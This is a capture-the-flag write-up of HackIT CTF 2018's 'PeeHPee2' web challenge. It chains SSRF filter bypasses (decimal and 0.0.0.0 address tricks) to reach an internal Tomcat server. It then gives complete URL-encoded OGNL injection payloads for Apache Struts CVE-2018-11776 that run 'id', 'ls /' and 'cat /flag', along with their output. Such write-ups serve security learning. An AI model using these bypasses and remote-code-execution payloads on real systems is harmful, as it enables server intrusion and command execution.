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HACKIT CTF 2018 WRITE-UP

Web Challenges - PeeHPee2

CHALLENGE DESCRIPTION

Prove you are a PeeHPee Master:

<http://185.168.131.132:1234/>

SOLUTION

This is an SSRF challenge, first we need to bypass the filtration we can use decimal IP address <http://3114828676:1234> or <http://0:1234/> or <http://bla:bla@0.0.0.0:1234@bla>

after bypassing the validation, we do a port scanning we found a tomcat running on port 8080.

<http://bla:bla@0.0.0.0:8080@bla>

Trying to find anything else about struts but failed to indicate the path. Then, the hint told us that struts version 2.3.14.

<http://bla:bla@0.0.0.0:8080@bla/struts2-showcase-2.3.14/>

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<div class="row">
  <div class="well">
    HTTP/1.1 302 Found
    Server: Apache-Coyote/1.1
    Set-Cookie: JSESSIONID=4EA60B6919D93B0AB3122F78E195B12B; Path=/struts2-showcase-2.3.14; HttpOnly
    Location: showcase.action
    Content-Type: text/html
    Content-Length: 0
    Date: Sun, 09 Sep 2018 00:29:41 GMT
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We know that apache struts have a critical vulnerabilities published in 2018.

“[CVE-2018-1327](#)” and “[CVE-2018-11776](#)”, by trying CVE-2018-11776 which is RCE and after doing encoding, our payload is:

[http://bla:bla@0.0.0.0:8080@bla/struts2-showcase2.3.14/%24%7B\(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue\).\(%23cmd%3D%27id%27\).\(%23iswin%3D\(%40java.lang.System%40getProperty\(%27os.name%27\).toLowerCase\(\).contains\(%27win%27\)\)\).\(%23cmds%3D\(%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27c%27%2C%23cmd%7D\)\).\(%23p%3Dnew%20java.lang.ProcessBuilder\(%23cmds\)\).\(%23p.redirectErrorStream\(true\)\).\(%23process%3D%23p.start\(\)\).\(%23ros%3D\(%40org.apache.struts2.ServletActionContext%40getResponse\(\)\).getOutputStream\(\)\).\(%40org.apache.commons.io.IOUtils%40copy\(%23process.getInputStream\(\)%2C%23ros\)\).\(%23ros.flush\(\)\)%7D/help.action](http://bla:bla@0.0.0.0:8080@bla/struts2-showcase2.3.14/%24%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue).(%23cmd%3D%27id%27).(%23iswin%3D(%40java.lang.System%40getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds%3D(%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27c%27%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse()).getOutputStream()).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D/help.action)

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</div>
<div class="container">
  <div class="row">
    <div class="well">
      HTTP/1.1 200 OK
      Server: Apache-Coyote/1.1
      Transfer-Encoding: chunked
      Date: Sun, 09 Sep 2018 01:42:36 GMT

      uid=1000(chal) gid=1000(chal) groups=1000(chal)
    </div>
  </div>

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By listing root directory, we found a flag file.

[http://bla:bla@0.0.0.0:8080@bla/struts2-showcase-2.3.14/%24%7B\(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue\).\(%23cmd%3D%27ls%20/%27\).\(%23iswin%3D\(%40java.lang.System%40getProperty\(%27os.name%27\).toLowerCase\(\).contains\(%27win%27\)\)\).\(%23cmds%3D\(%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D\)\).\(%23p%3Dnew%20java.lang.ProcessBuilder\(%23cmds\)\).\(%23p.redirectErrorStream\(true\)\).\(%23process%3D%23p.start\(\)\).\(%23ros%3D\(%40org.apache.struts2.ServletActionContext%40getResponse\(\).getOutputStream\(\)\)\).\(%40org.apache.commons.io.IOUtils%40copy\(%23process.getInputStream\(\)%2C%23ros\)\).\(%23ros.flush\(\)\)%7D/help.action](http://bla:bla@0.0.0.0:8080@bla/struts2-showcase-2.3.14/%24%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue).(%23cmd%3D%27ls%20/%27).(%23iswin%3D(%40java.lang.System%40getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds%3D(%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D/help.action)

and then reading the flag file.

[http://bla:bla@0.0.0.0:8080@bla/struts2-showcase-2.3.14/%24%7B\(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue\).\(%23cmd%3D%27cat%20/flag%27\).\(%23iswin%3D\(%40java.lang.System%40getProperty\(%27os.name%27\).toLowerCase\(\).contains\(%27win%27\)\)\).\(%23cmds%3D\(%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D\)\).\(%23p%3Dnew%20java.lang.ProcessBuilder\(%23cmds\)\).\(%23p.redirectErrorStream\(true\)\).\(%23process%3D%23p.start\(\)\).\(%23ros%3D\(%40org.apache.struts2.ServletActionContext%40getResponse\(\).getOutputStream\(\)\)\).\(%40org.apache.commons.io.IOUtils%40copy\(%23process.getInputStream\(\)%2C%23ros\)\).\(%23ros.flush\(\)\)%7D/help.action](http://bla:bla@0.0.0.0:8080@bla/struts2-showcase-2.3.14/%24%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue).(%23cmd%3D%27cat%20/flag%27).(%23iswin%3D(%40java.lang.System%40getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds%3D(%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D/help.action)

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<div class="well">
  HTTP/1.1 200 OK
  Server: Apache-Coyote/1.1
  Transfer-Encoding: chunked
  Date: Sun, 09 Sep 2018 01:52:39 GMT

  flag{just_an_EZ_SSRF_&_struts_CVE-2018-11776}
</div>

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